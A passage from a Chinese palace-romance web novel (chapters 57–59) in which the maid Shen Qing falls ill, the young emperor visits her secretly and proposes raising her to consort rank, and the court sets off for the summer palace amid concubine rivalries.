今日皇后帶着大皇子去亭子纳凉,沈青便没有跟着去,難得的闲暇时间,她自然要好好歇息一番,誰都不能打扰她。 脖子上有了几分凉意,沈青放下帕子,拿起扇子,不过扇了几下,衣袖便滑落到肘部,露出一截凝霜赛雪的皓腕和白皙流畅的小臂。 她看了一眼,并不想管,倚在屋内的小榻上,扇子轻轻扇着。 想穿小背心,想穿短裤,想穿薄如蝉翼的衣服。 想着想着,她便睡着了,睡得非常安稳,再醒来时,听着風声和砸落下的雨滴,她便知道为什么睡的这么沉了。原本的艳阳天不知何时狂風大作天边落下倾盆大雨。 沈青小憩的时候窗户是半阖的,本来想着通通风,因有棂窗且窗外是一条封閉小道,所以即便誰有心也窥探不到她屋内的光景。 雨势是随风斜着落的,雨順着棂窗落入屋内,帶来大片凉爽。 沈青起身将窗户放下,把湿漉漉的桌台擦干净,便走出去伸手接雨,寒风卷进衣袖,她反而很高兴。 雨一直下到了晚上,皇后在变天之前带着大皇子匆匆从外面回来,前脚刚回来,后脚雨便落了下来,皇后担心大皇子因此夜里受凉,便讓奶嬷嬷抱去了她的寝殿。 所以说,沈青便又无事了。 可还没等她高兴完,便乐极生悲浑身发燙,脑子成了浆糊,只心想着睡一觉便好了,便未去打扰其他人。 翌日早上,第一个发现沈青未上值的是萱草。 沈青出落的愈发漂亮,萱草见了心生欢喜,便常和沈青一起用膳,早上没见到沈青,她自然要问,其他宫人没法回答,萱草心中觉得不妙,直奔沈青的住处。 于是发现了额头滾燙,肌肤泛红,紧紧裹着被子的沈青。 “嘶——好烫,等着,我去找醫女!” 沈青听到动静,费力睁开眼,刚想开口说话,便发现喉咙跟刮了沙子一样,只能闷闷閉嘴。等她稍微清醒,明白自己的境地,萱草又一阵风的走了。 明明睡了很久,她感觉还是很累,萱草去找醫女,她便任由意识往下坠。 这样还能舒服一点。 坤宁宫的一名宫女贪凉发了高热,诊治的医女经验不丰,宫女身上的温度降不下来,皇后直接讓萱草拿着她的令牌去请太医。 钱继听到这个消息便觉出了不妥,什么样的宫女能劳煩皇后去给她请太医? 细细一问之下,果然是最不妙的结果,心里重重一咯噔,便急忙进入殿中向皇上禀告此事。 沈青病了的唯一好处就是不用上值,皇后说什么时候养好了病,得到了萱草的首肯才能上值。因为上午沈青昏昏迷迷时,萱草在皇后面前急得都哭出来了,什么礼仪规矩全都顾不上,故有最后一言。 沈青知道缘由自是感动,萱草午时来给她喂药,即便那药汁闻着都要苦的让人呕出来了,但她只是蹙着眉将药喝完了,乖乖地将脸贴在萱草手心:“姐姐不用担心,我睡一觉定然就大好了。” 看着沈青这般乖巧的模样,萱草又怎么忍心苛责,将训斥她大雨还要吹风的话咽下,心疼地捻起糕点:“吃些果子压一压。” 可这么严重的高热哪里是那么容易好的? 沈青仍是照做,不那么做就有些对不起萱草了。 等萱草离开,沈青重新躺到床上,眉眼尽是恹恹之色,生病真的很不好受,尤其是高热,指尖抚向额头,都能感觉到透过肌肤上滚的源源不断的热意。 药汁在胃里滾了一圈,她整个人都散发着苦味。 沈青只感觉生无可恋。 如果这个时候有人出现在她面前,她绝对不会给任何好脸色。 这么想着,窗户适时响了一下,下一瞬,果然见纪宸从窗外封闭的小道翻窗进来。 还算知道遮掩,沈青厌烦地撇过脸。 亦不想殷殷地说上一句:您怎么来了? 纪宸站定身形便见到沈青那张惨白的小脸上浮着不健康的红色,肉眼可见的瘦了。 他走上前,伸手摸上沈青的脸庞,在她的下巴处丈量了一番,憋着火气道:“怎么把自己搞成这样?” 沈青阖眼,一副要睡了的模样。 什么呀,她现在生病了,还对她用这副语气,是不是想要她为自己生病的事道歉。 真是倒反天罡。 什么人呐! “药吃了吗?”纪宸又问。 沈青想了想,鉴于这次态度可以,回答道:“喝了,但是太苦了,你再提两句我都要吐出来了。” 一副你怎么那么没眼色。 纪宸闭嘴,无奈抚了抚沈青的额头,順手整理了下她的发丝。 并低头抵在沈青的额头上,望着她半垂的睫羽,心情这才慢慢安定下来:“難受?” 发烫的温度传递到他的额头上,他都觉得温度有点高了,更不必说生病的沈青。 难受是必然的。 沈青瘪着嘴点了点头,眼中溢出些眼泪,然后意识到自己一副仿佛受了天大的委屈想要寻求安慰偏偏又有气放不下,便是一僵,在纪宸调整姿势想抱她时埋首进了纪宸的怀里。 沈青坏脾气道:“你真讨厌!” 说得干脆利落,没有丝毫迟疑。 莫名其妙生气,莫名其妙不理人,又莫名其妙出现在这儿。 从纪宸出现在这,沈青便知道纪宸放不开手了,她这一病算是个契机,让纪宸抛去心中的不爽,主动低头。 但也意味着她的功亏一篑,好吧,她也没做什么,只是不主动去找纪宸,想让这个高傲的人主动放弃。 可她又能做什么呢?她只是个宫女! 这么看来她成为嫔妃是迟早的事,就看谁能僵持过谁。 纪宸不想给她高位,未必没有磨一磨她性子的原因,她可能早在不知什么时候本性暴露了,纪宸察觉出,可能还觉得有趣,不介意陪她玩一玩。 沈青此刻头懵懵的,想法也悲观起来,心中的委屈腾起,便也不在乎脸面的在纪宸怀里哭起来。 她没有办法拿捏纪宸,纪宸又是个阴晴不定的,即便顺着他也不知道该怎么顺。 沈青感觉未来一片漆黑无望起来。 直到她哭够了,被扶起,眼前重现出现光亮,才觉出难为情。 她抿着唇道:“难受。” 纪宸眼中闪过疼惜,手上的动作愈发温柔,将带着的药丸拿出来:“把这个吃了,很快会起作用。” 沈青不知道这是什么,怀疑地看向纪宸。 纪宸以为她是怕苦,把药丸往她跟前递了递:“里面加了蜜,不苦。” 骗人,沈青嗅着黑色的药丸,明明是股清苦味,但比起她喝的那碗药汁要好上不少。 左右纪宸害她不必这么迂回,沈青就着纪宸的手含住药丸,吃了下去。 入口倒不苦,越嚼越有种淡淡的甜味。 沈青将药丸吃下去,扒着他的手问:“还有吗?” 吃两颗,好得更快。 纪宸哭笑不得,自是说没有了,没有和她提这个药丸多么难得。可他若再不拿出来,凭沈青的身子骨,如何熬得过这次高热? 得到没有的答案,沈青嫌弃地把他的手扔开,指使道:“我要喝水。” 沈青的坏脾气几乎写在了脸上,但她有心力与他闹,便是个十足的好事。 来之前,纪宸想过最惨烈的画面是,沈青病怏怏躺在床上,见到他也闭口不言,冷淡到极致。 毕竟就他这么好时极好,差时极差的对待,没把手甩他脸上都是沈青脾气好了。 即便最初只要娇声软语的哄哄就能哄好。 被沈青这么不知大小的支使,纪宸却觉得松了口气,连忙去倒水,又喂到沈青嘴边。 现在沈青格外不待见纪宸,他想不好就不好,他想好难道巴巴一来她就答应吗? “你走吧,我困了。”沈青推他。 “我不走。”纪宸抬高声音,以表坚定。 走了下次还是这样,不如死皮赖脸留下来,或许能征得沈青的原谅。 沈青也不管他:“你不走就不走,我要睡了。”说得那么大声干什么,只会在她面前吆喝! 她拢了拢被衾,闭上眼。 纪宸坐在床边,目光贪婪地看向沈青的眉眼。 上次见到时他就发现沈青瘦了,脸颊的肉都日渐消减没了,可又拉不下脸去问,沉着脸来沉着脸走。 钱继也不晓得主动问问沈青是饮食不佳还是什么,白费了往日的机灵劲儿。 纪宸起先深深觉得她根本不在乎他,但来之前转念一想,若是真不在乎,短短时日又怎么会瘦成这样,恐怕在沈青心里亦不好过。 可她能怎么办呢,若是来找他,会不会以为他会冷着脸将她赶走? 他是不会的,但怎么能要求一个十五六岁的姑娘来揣度心思叵测之人的意思? 沈青亦是变漂亮了,原本就很好,现在更盛了。 像一朵宁静绽开的荷花。 唯有他见过,她娇气又有坏脾气的一面。 盯着沈青的脸庞,纪宸宛若一个痴汉,他也惊奇,他怎会怎么看这张脸都看不腻,分别时间一长,心里更是念得紧,目光霸道地似要将这近三个月少的次数全都补上。 第57章 第57章宫女五十七日 以为床边杵了这么一个人,她兴許会睡不着,但可能是药丸或是午时喝的药汁有安神功效,沈青竟又昏睡了过去。 只是她睡了没一会儿,身上就开始发汗,粘腻難耐,她想将被衾掀开,却反被包裹的更严实了。 睡梦中的她只能任人掣肘,不多时,身上便湿透了,湿漉漉的宛如从水里捞出来的一样。 替她压被子的人許是也发现了,拿帕子一样的東西擦她的额头、脖颈,但擦到锁骨便不再往下了。 干帕子对此时的沈青有着致命吸引力,即便她还没有醒来。她下意識往帕子伸出来的方向蹭,只心心念念着方才身上汗珠被擦掉的舒适。 昏睡中的人是不知道自己有多狼狈的,若是沈青此时照铜镜,定然会发现她的烏发都被汗水浸湿,原本白桃的脸蛋也不如往日光彩照人,眉间更是笼着脆弱難忍。 但她不知道,便也不会蒙头把自己藏起来。 这可便宜了纪宸。纪宸见到人往他这边靠,心中倏然泛起驚喜的涟漪,生病的人最是脆弱,也更依赖亲近之人。 那他对于沈青来说岂不是一个可以依赖,可以托付真心的人? 至于嫌弃什么的,纪宸已经凑近,唯恐慢了一步沈青又往床里面移回去了。 他的手抚上沈青的脸颊,沈青感觉到被抚摸,无意識用下巴蹭了蹭。 纪宸柔了目光。 帕子被他放到了一旁,只一心觉得沈青需要的是他。 沈青高热严重,发汗自然不止一次。又一次全身开始透汗,她的嘴巴往下弯了弯,心里難过的要死。 纪宸盯着沈青额头细密的汗珠,再一次确认她不会立刻醒来,抚身将那层汗珠给抿掉了。 沈青不明白,都生病了,为什么还要做梦。 梦境离奇的很,她竟然变成了一只白色小貓,被一只更大的貓摁着脖子给摁趴下,动弹不得,然后被大猫舔脸了。 小猫四爪奋力挣扎,但奈何力量悬殊,不多时,便累瘫了,对舔脸也没了一开始的抗拒。 反正是梦,即便被舔一口甚至好几口都是不痛不痒的。 再之后,意识到自己在做梦,沈青便脱离了这个古怪的梦境,又睡了片刻,这才轉醒。 她大概睡了两个时辰,沈青见外面的天色暗淡了许多,令她没想到的是,纪宸居然没走,仍在她床边守着。 沈青扫了一眼,好在她睡觉很规矩,睡前是什么位置,睡后还是什么位置。只除了被子好似紧了许多,她被包成蚕蛹了! 她看向纪宸,纪宸仍是那副淡定的模样,但她总觉得他好像有些端着了。 纪宸略微心虚道:“朕讓人备了盅菌菇烏鸡湯,现下有胃口嗎?” 沈青摸了摸头,原本强烈的不适只剩下身体的虚弱,御医开的药方当时便说了要两日才会真正起作用,现在病好了大半只能是纪宸带来的药丸的原因。 也是,他是皇帝,手里的好東西定然不少。 但这见效快的药丸于他而言也定是珍稀的。 沈青松了松被衾:“我想先沐浴。” “不行。”纪宸当即否定了她的提议,他本身就是个独断专行的人,本性难移,拒绝他不认可的事太正常了。但见着沈青虚弱的样子,便缓和了语气道:“不如朕把桌上的湯端来,喝两口?” 沈青身体状况好了,自不会乱发脾气,闻言只是不悦,但也知道纪宸是为她好。 于是退讓一步道:“只喝两口。” 纪宸点头,他轉身去拿汤碗,沈青从床上坐起身来,摸起头发闻了闻,嫌弃地往身后撇开。 纪宸转身见到她的小动作,认真道:“你一点都不难闻。” 沈青冲他抱怨:“你根本不知道,全是汗,讨厌死了,想先沐浴也不成,再也不要生病了。” 纪宸心说我怎么会不知道呢,可又不敢搭话,便低头垂眉舀了一勺乌鸡汤喂到沈青嘴边。 沈青喝了一口便觉出了好滋味,当下便忘了她方才说的只喝两口。 用催促的目光看向纪宸。 主要还是晌午的药汁太苦了,以至于一碗乌鸡汤也成仙品了。 沈青略过不提,纪宸自不会拿这个笑话她,她喝得越多,他的笑容反而越不值钱。 直到沈青伸手推了推他拿勺子的手,他才将汤碗搁下,拿出一条崭新的帕子给她擦嘴。 沈青没被人这么伺候过,十分不适應,但看清纪宸望向她的目光便坦然了。 “等你养好了身体,算算时间便可动身去避暑山庄,在去避暑之前,朕会给大皇子挑一名年纪大些的奴婢。”纪宸的目光温和。 紧接着他便炸出惊雷般的话:“你什么时候做朕的貴嫔?” 貴嫔是正三品,亦是一宫主位,恰如沈青曾经所说的,她要做便做主位娘娘。 沈青一愣,她是真的驚讶了,但触及纪宸那认真的不得了的目光,便明白他是真的动了这份心。 如果是往常,她定然是直接答應,宜早不宜迟。 但……病去如抽丝,她心里正是没滋没味的时候,便很不想讓别人满意,尤其这个人还是纪宸。 沈青眨了眨眼,极其心虚道:“既然都貴嫔了,何不再进一步给个昭儀?” 昭儀仅位于妃位之下,现在后宫只有两名妃位,德妃和贤妃,德妃无事不出永寿宫,贤妃常往慈宁宫跑,除非特意筹谋,撞上的概率很低。而新人眼见着势头很猛,说不得什么时候就封嫔,封贵嫔了。 更不必说嫔位上还有林嫔和玉嫔两人,林嫔不足为虑,但玉嫔有宠爱在身,只需有孕或等下次大封后宫便可晋为贵嫔。届时人家有资历有封号,说不定见到得行个半礼。 纪宸望向她,那目光中似乎照出了她的贪婪之相。 他摸了摸手上的扳指,心里想的却是,这副大胆又心虚的 样子真的很容易勾起人心底里的火,只想让人把她狠狠扔在床上,但现在不行,她还未好全。 怎么会有人这么……合他脾味呢? 沈青搅着手指,只觉得在他的目光中无所遁形,可那又如何呢,越是这样,她越是想要破罐子破摔,什么理性,那都是很久之前的事了。 即便她最該做的是装出一副清高风范,如此才和她的样貌气质搭,而非这样一副市侩模样。 可是她就是忍不住想探探纪宸的底线在哪儿。 左右到时真成嫔妃了,她有金手指在,知晓他的态度,便会在他起厌后争取不在他眼前晃,闭宫不出。 纪宸虽对嫔妃的位份不大方,但該有的份例却不会少,不会让克扣份例的事发生。 想来日后她即便只是一个虚名娘娘,也会活得相当滋润。 沈青失望瘪嘴:“昭仪不行,那就修媛。” 她倒还退了挺大一步。 纪宸心中愈发无奈,但面上还稳得住:“你当这是买菜砍价呢?”还有来有回。 纪宸向来秉持着如果有七分情绪,就该表现出两三分,只是这个规矩在沈青面前屡屡失效。 今时不同往日,他要让沈青当他的妃子,一些助长她气焰的情绪就该完全隐藏起来,不然他的宠溺和纵容只会导致她越来越无法无天,最终引火自焚。 即便纪宸觉得沈青不会这样,她在人前总是进退有度,在他面前也不是一味的娇气到底,分寸拿捏的即便他事后想想也夸得出聪慧二字。 但他不想赌。 沈青被他说得觉得没脸,生闷气起来,好似她连修媛的位置都攀不上。 虽然她宫女出身,家里行商……好吧,确实有些异想天开了,但是……她长的美啊! 这时,纪宸倾身抱住她:“等你真正想好了,朕便下旨,只是最迟今年年关之前你要给朕一个答复。” 沈青的想法还是个小姑娘,东一榔头西一棒槌,根本没意识到做他的妃嫔意味着什么,但他可以给出几个月进行过渡。 沈青放心了,搅着的手指也放下,呼,真是虚驚一场。 她还有时间去练习如何做一名主位娘娘,不然身份骤然转变,她真的有点恐高。且纪宸这话,她的位份最低应该也是个贵嫔——她对贵嫔没有看不上的意思,只是谁不想要更好的呢? 沈青吧唧一声亲在纪宸的侧脸上,语气终于回到了往日那般黏黏糊糊:“皇上,您真好,要一直对我这么好哦。” 纪宸的心尖蓦地酥软,像被跳着舞的羽毛扫过一样,于是他像许下重大承诺那般应声。 沈青满意了,转而听见纪宸问她:“七月初五是你的生辰,那天你想做什么朕都陪你。” 沈青不由惊讶,他什么时候知道的?总归不能是在来之前随手查的,所以只能是在怄气之前或在怄气时特意查看过她的生辰,可前者他们还没好到这种程度,后者难不成一边生气一边寻找和好的机会? 沈青被自己的想法逗乐了。 从纪宸出现到现在的一举一动都显示他不可能那么卑微……不管了,沈青兴奋道:“我想您教我骑马和射箭!” 今年六月夏藐开始,八九月是秋狝,七月是纪宸回避暑山庄的时候,时间很适合带着她出去。 纪宸疑惑:“为何要学骑马射箭?” 他记得当初他承认他弓马娴熟时沈青并未对这两样表现出兴致,以至于他想夸耀自己都不知如何提起,只暗暗想着只待秋狝后宫嫔妃不必承受酷热也能同行时,届时沈青十有八九能去,他便可以好好展示一番。 沈青萎靡道:“我身体太弱,一阵风都能把我吹倒,很不爽。想当初我干一天的活都不会腰酸背痛,一年到头更是生不了一场病,即便病了也能很快就好,而不是像现在这样把萱草都吓得半死。” 且她如今养尊处优,什么重活累活都不用干,唯一受累的恐怕就是抱大皇子的时候。 纪宸抚平沈青的眉心:“朕允了,但一天实在难见成效,朕好生思量一番如何找出时间常带你出去。” 避暑山庄的规矩不如皇城,其中多有空子可寻。 “除了这个,再想想生辰礼。” 沈青眼中迷茫,刚才说的不算嗎? 纪宸看着她,目光中是明晃晃的当然,骑马射箭有强身之益,自当日月年的练。 沈青尚且不知道自己要经历什么,只知道自己多了个能实现的愿望,立刻高兴起来:“我要您不要那么凶的亲我,要放在心尖上的那种!” 既然未来可能和皇上长久,那此时不调|教何时调|教? 反正她不能吃苦! /:. 纪宸的眼底翻滚着欲色与大片晦暗,这怎能是他给她的礼物,明明是对他的奖赏。 偏偏沈青兴奋骄傲的样子仿佛占了大便宜似的。 其实不必等到生辰那日,他现下就可以给她。 沈青被纪宸宛如盯猎物的目光惊得一怂,总觉得在这样的注视下就逃不开了,她弱弱道:“您得听清我的要求。” 别一副他迫不及待的样子。 温柔懂嗎?宠溺懂吗? 纪宸道:“朕可以在卿卿身上先练习,届时必会让卿卿满意。” 沈青脸一红,转而恶声恶气道:“您的学习能力就那么差吗!” 纪宸轻笑一声:“如你所见,不然也不会因为一个吻让你从去年惦念到现在,如此念念不忘。” 他居然就这么承认了?他当皇帝的脸面呢? 沈青震惊地看向他,正常来说,为了不失面子他不应该暗地里勤学苦练,然后在她面前一鸣惊人吗? 纪宸迎着沈青的目光泰然自若。 面子是什么,他有那东西吗? 第58章 第58章宫女五十八日 沈青还生着病,親自然不会讓他親的,纪宸亦不想弄得她情绪起伏太大,病刚好转就又加重。 比起午时她病恹恹的样子,此时的她已经能和他斗嘴了。 但他更想要的还是她往日生龙活虎,聪明伶俐的模样。 纪宸眼中有些许遗憾。 算着时间萱草快該来了,沈青当即开口讓纪宸先走一步,不然到时萱草撞见了,那场面简直讓她窒息。 但纪宸可能不以为意,因为他是皇帝,本就不需要躲躲藏藏。 纪宸果然显露出一丝不悦。 他和一名宫女孰轻孰重? 若是平常,沈青定然会骄纵地表明是他将她帶上了这条不归路,没有那日乾清宫把她往床上帶,哪会有让她陷入这般境地? 她有错,但错更在纪宸。 更不必说这个朝代,皇帝为大,她的错处就更小了。 但时间紧迫,沈青清楚现在不是自己辩驳的时候,便软了声音,眼睛睁得圆润,翦水秋曈上有一层亮光,在室内的光线下更显真诚。 她道:“我最喜欢您了!” 毫无扭捏作态,就这么望着他,声音清晰地传进他耳朵里,澎湃而真诚。 似乎满心满眼都是他。 纪宸伸手抚上沈青苍白的脸颊,心里一颤,她一点都不知道她那双眼眸在这张面帶病容的脸上有着多么大的冲击力。 尤其她还瘦削的厉害。 纪宸咽下那句朕亦是,抚身轻吻了下她的唇角:“朕先走了,这几天钱继送来给你补身体的膳食,记得多吃,下次朕来,朕要看到你脸颊上的肉。” 沈青满口應下:“好的好的,只要好吃,我一定会多吃的,皇上下次见。” 再不走萱草該回来 了。 此时不论纪宸提出什么要求,她都会全部應下,至于下次来纪宸发现她没做到,那就是下次的事了。 沈青一点都不忧虑。 纪宸无奈露出微笑,但心中是满意的。 沈青目送纪宸优雅地从窗户離开,并顺手把窗棂合上,才泛起疑惑,外面是条封闭的小道,他是怎么过来的,总不至于会轻功吧?!! 沈青的脑子一宕,觉得非常可能。 纪宸的身手应是个会武艺的,若是从小练起的,凭空踩几下翻个墙还是简单的。 她爹雖然经商不行,但爱往外面跑又什么人都结识,沈青便知道了些三教九流的东西,知道轻功雖不存在,但练久了也形似轻功。 就是不知道皇上的武艺到没到能带人翻墙的程度。 还不待沈青深想,屋门便被扣了三声,沈青说了句姐姐直接进来便可,萱草从门外推门而入。 萱草仔細看了她一眼,欣慰道:“瞧着精神了许多。” 沈青笑得灿烂:“我也感觉身上没那么烫了,许是很快就好了,这样姐姐也就不用担心了。” “姐姐要上值,其实不用这么急着来看我,至少也得先用了晚膳啊。” 萱草拎出盒子:“膳食什么时候都不会缺了我那份,但药我得亲自盯着你喝才能放心。” 让沈青大雨天吹风,看苦不苦她。 别人下雨知道往屋跑,偏她反其道而行。 沈青瞬间苦着一张脸,其实纪宸的药丸见效快,这碗药她私以为是不用喝的。而且这么苦的药汁,便是壮士也难以饮下,何苦为难她这个弱女子呢。 且萱草话音中的促狭她也听出来了,并非真的要盯紧了才行,只是拿话羞她。 沈青眨着一双眼睛,真诚道:“可姐姐不用膳,我心疼。” 萱草最受不了她这副模样,伸手轻轻掐住她的脸道:“若是我走了,你也一定要膳后喝药,不可以拖延。” 沈青猛点头。 沈青生病,本就不該多打扰,因此在午时萱草只是盯过沈青喝完药便離开了,留她一个人好好歇息,现下她若留下,平白让沈青操心她的用膳,达不到安神的作用,这身体也会断断續續養不好了,便在仔細叮嘱后离开了。 屋内只有自己一个人,沈青确实慢慢安静下来。 萱草不仅带来了熬好的药,还带来了她的晚膳。 沈青先是用了一些填饱肚子,便搁置了,再看向那碗药,即便距离有一臂之长,她仍是能闻到那种苦涩的味道,晌午的记忆再次清晰浮现。 左右她现在无大碍。 沈青这么着告诉自己,然后偷偷将药浇在了花盆里,盯着花盆里的土将药汁吸收,并翻上旁边的土盖上,她这才拎着用过的膳盒和空了的药碗出去。 一连几天,沈青都是这么干的。 她一本正经的模样,谁也想不到她会畏惧喝药。 刚开始沈青还为自己沾沾自喜,亦有胃口吃些钱继让人带来的膳食。 但渐渐的,她发现她的病剩的这个小尾巴怎么好也好不全,很是恼人,她在脑中细细梳理了一番,终是心虚地捧起药碗。 纪宸当日没说这些药不必喝,那肯定是需要继续喝的。 原本两三日就能好全的病,经她这一折腾,缠缠绵绵了小半个月才好。 好了之后皇后又特许她養几日的身体,沈青欣然接受,每日吃吃饭散散步,相当悠闲。 再上值时,已经五月底,要出发去避暑山莊的时候了。 夏藐的地点距离避暑山莊不远,所以队伍都是往同一个方向前进的,因这是多年后重新进行的狩猎活动,纪宸要裁夺的事情就多了。 只除了中间来过一次,并发出深刻疑问:这病怎么这么久都不好? 被沈青镇定地糊弄了过去,但若是伸手搭在她的脉搏上,便能听到她心跳如鼓的声音。 好在纪宸那天似乎很疲累,也没深究,只抱着沈青安静呆了一会儿,这才让沈青四两拨千斤拿自己身子骨不好遮掩了过去。 纪宸派来大皇子身边的宫女已经来了,虽说是宫女,但资历可以让其余人唤她一声姑姑。 这位姑姑名叫赋雪,年龄二十四岁左右,据说是皇上幼时侍奉的宫女,后来因皇上重用太监,便在乾清宫荣养起来,且明年就要放出宫去了。 宫人们望向赋雪的眼中都带着艳羡,乾清宫的老人,便是出宫也混得不差,且这出宫定然是赋雪主动的,不然有皇上的信任在,若不出宫,必然早早派遣到年幼皇子身边了。 皇城到避暑山莊虽不远,但走走停停,車輛辎重,也需六日。 大皇子年幼,皇上大抵是不放心这才将赋雪短暂派过来,兴许等从避暑山庄回来赋雪就又回乾清宫了。 沈青即便也可以被人唤一声姑姑,但她年纪轻,众人常叫的还是姐姐。 所以沈青也跟着叫了声赋雪姑姑。 赋雪轻轻牵住她的双手道:“实在是折煞我了。” 两人一对视,沈青便知道纪宸应该吩咐了她什么。 见沈青收到暗示,赋雪便旁观起奶嬷嬷照顾大皇子,不多时便能上手,甚至寻到机会让沈青坐下歇一歇或出去透透气。 大皇子身边多了一个人,沈青身上的担子轻了一半,不必时时刻刻盯着,自然轻松不少,更不必说赋雪的暗中照拂。 这次前往避暑山庄的人员中,李美人即将生产,无法奔波,德妃留下来照顾她,脱不开身。至于賢妃,二皇子只有不到三个月大,亦是不能受累,她作为二皇子的母妃不能单独把二皇子留在皇宫,只得作罢。何才人心心念念的都是二皇子,二皇子不去,她也以身体还未好全的理由找皇后推拒。 皇后本来也没把她划在名单上,闻言亦有所料,便叫她好好保重身体。 避暑山庄宽裕,皇后也不好做个恶人,大部分嫔妃都在名单上。 一时间后宫都是喜气洋洋的氛围。 唯有长春宫的賢妃摔了杯子,觉得这个二皇子来得怎么这么不合时宜,能出宫,即便只是去另一个地方,谁又想留下呢? 今年是她进宫的第五年,她已经许久没出宫了。 何才人倒不艳羡去避暑的嫔妃,她进宫的日子浅,更经历了这场事,整个人都稳重了不少,见到賢妃这副模样,还能劝慰上几句。 但她也没把姿态放得极低,再低賢妃就该以为她不怀好意了。 贤妃愠声道:“你懂什么?” 何才人道:“皇上既有意重启狩猎,娘娘不必急于一时,明年亦有机会一同前往。” 贤妃这才神情稍缓,但看向何才人的目光仍旧不咸不淡。 何才人视若无睹,短时间内贤妃对她不警惕就算好了,如何能交托信任?但她可以等,时间一长,她不信贤妃仍旧如此。 但在此期间,如何离间蒋才人和贤妃她得好好想想。 另一厢,永寿宫中,德妃坐在李美人的玉兰阁,反倒松了一口气。 “皇后带着人一走,你这一胎便安全无虞了。” 李美人却不认同堂姐这话:“可妹妹看皇后并非是那种残害子嗣的人,姐姐该防的不应该是贤妃吗?” 德妃有心想反驳,但想到李宛意怀着孕,无意与她争辩,遂道:“本宫会给贤妃找些麻烦。” 太后亦要去避暑,凭贤妃一人掀不起什么风浪。 五月底,各宫准备就绪,一輛辆馬車从东华门驶出,最前面的是明黄色的帝王銮驾,周围的侍卫骑着馬带着旌旗。 旌旗一路飘扬,往避暑山庄的方向驶去。 沈青和赋雪一辆马车,大皇子被抱去了皇后处,皇后的凤驾虽不如皇上的,但也是四匹马拉动,车架华丽宽阔在路上行走也更平稳。 赋雪看向她:“我去御前向皇上禀报大皇子的近况,你要去吗?” 赋雪才来两日便要去禀明近况,说明寓意根本不在此,大抵也是皇上授意她来问的。 若是沈青干脆利落地拒绝,恐怕又要被某人指责没良心了。 沈青纠结了一番:“去吧。” 不知为何,即便已经和纪宸亲密相处了几次,但只要想到去见他,心里还是会打突。 但总这样怎么能行,也该练一练胆气了。 便拿纪宸练手好了。 沈青如是想着。 第59章 第59章宫女五十九日 大皇子的马车比妃嫔的都要靠近銮驾。 星羅原本不会看到两名宫女往銮驾方向走,但她受嫣婕妤吩咐给皇上送去防晕的药丸,即便皇上若是晕车的话,就不会在皇宫乘坐辇驾,但不这样,如何能显现出嫣婕妤将皇上放在心上的姿态。 虽然宫中真心爱皇上的也能数得出,但怎么表现却是门大学问。 星羅想起嫣婕妤吩咐过她注意禦前出现的女子,但 皇上素来不喜往禦前放宫女侍奉,她观察了几次,真没找到疑似的女子。 再见到沈青,星羅不由一阵恍惚,许久不见,沈青姑娘出落的愈发漂亮了。 她这般姿容不当个嫔妃可惜了。 星罗这般想着,心里的懷疑尤甚,沈青不呆在大皇子處,去禦前做什么? 于是回到嫣婕妤的马车后,星罗便将这件事当作逗闷说与了嫣婕妤听:“沈青姑娘旁邊还跟着一名宫女,许是她们两人有事前往御前,奴婢也没细看她们靠近銮驾了没有。” 御前人来人往,但却不是人人都能接近,譬如星罗,即便她与御前的小太监有些熟了,但她去时也只能将東西先交给御前的人,带一句婕妤的话,无论是皇上还是皇上身邊的太监她都是见不到的。 且銮驾在不停顿地往前行驶,她没有办法驻足观察沈青和另一名宫女的具体动向。 嫣婕妤听了也不以为意,宫里漂亮的还少吗?单她的容貌便是嫔妃中顶尖的,但根据她记忆中的沈青,美虽美矣,但就是个丫头…… 嫣婕妤想到这,陡然拧眉,以前是个丫头,可不代表现在还是个丫头。 “找个机会,我去親眼瞧一瞧她。” 星罗称是,回忆起方才见到沈青的模样,明明她只看了一眼,但脑海中她的容貌却處处清晰,唯独忘了她穿的是什么,大约是宫女服制,顾不显眼。 由此,她家主子真得警惕了。 銮驾旁,沈青和賦雪甫一出现,錢繼的眼神便亮了:“賦雪姑姑,沈青姑娘,这里。” 赋雪可是王积贵那个层面的人,宫里最重论资排辈,錢繼这点规矩还是懂的,但是沈青,叫姑姑岂不把她叫老了? 沈青日后贵不可言,钱继自是打心底的尊敬,叫姑娘也万没有看轻的意思。 赋雪调侃道:“呦,往常可没见你对姑姑我如此热情。” 钱继的目光恨不得催促着沈青赶紧进入銮驾,这里离銮驾近,兴许他们的话已经传进皇上的耳朵里了。 但举止上钱继仍旧稳重,仍是笑的模样,回道:“奴才在这里给姑姑賠罪,但是皇上还等着呢……” “就你会奉承,成吧,人我放了,你来陪姑姑吃茶賠罪。赔罪可不是嘴上说说的。” 赋雪看向沈青,原本很淡然的沈青臉庞微微一红,思索着她那句赔罪可不是嘴上说说的。 下次纪宸再说什么对不起我错了之类的话,她可绝不能轻易揭过,至少也得让他扮个丑。 以纪宸的性格,惹她生气的次数许是不会少。 钱继对赋雪的话连忙应下,迫切地看向沈青。 再耽搁下去,他在皇上心中就愈发显得不中用了。 沈青微微一笑:“那姑姑再见。” 銮驾短暂停下,又很快开始行驶,唯一不同的是,銮驾中多出了位佳人。 皇帝的銮驾宽大,由六匹骏马拉车,且装饰奢华,车身上是金色的龙纹,车架里面更是个小型的寝殿,各类物什应有尽有。 纪宸戴了顶金色发冠将头发束起,他鲜少戴这样亮的发冠,在宫里,皇城天然的威压就给他镀了层君威,但从宫里出来,一些皇帝的天威必须得显现出来了。 或许他四五十歲时不在乎这些,但他现在只有二十一歲,注定会对此多些在乎。 沈青被纪宸伸手带上銮驾时,便被他这副模样炫了目,心肝先颤了颤。 不怪她来之前分外忐忑,实在是因为能当皇帝的,气势本就与普通男子不同。 纪宸拉着她坐下,沈青甜笑道:“皇上,您真好看。” 纪宸觑了她一眼,好看怎么不见她扑上来親他?她可不是什么寻常的矜持女子。 纪宸没有回沈青的话,一只手已经先丈量起沈青的臉颊,然后,他皱眉道:“怎么一丁点都没有胖?” 沈青的笑容一凝,脸颊不长肉怨她吗? 但她不好好吃饭也是事实。 以前的她能吃两大碗飯,现在不足一碗便饱了,再吃实在是吃不下了。 她不知别人飯量如何,但她的饭量骤降她是心知肚明的。 所以沈青非常心虚,亦想将这件事尽快糊弄过去,于是她扒拉下纪宸的手掌,往她心口放去:“脸颊虽然没胖,但想念皇上的心肝却日渐沉甸甸起来了。” 隔着衣服似乎也能感受到那处的柔软,纪宸缓缓低头,又缓缓抬头,被沈青握住的手掌麻木般渐渐没了知觉。 她—她—— 纪宸第一次面对沈青有了磕磕绊绊的感觉,张了张嘴,复又闭上。 连话都不知道怎么说了。 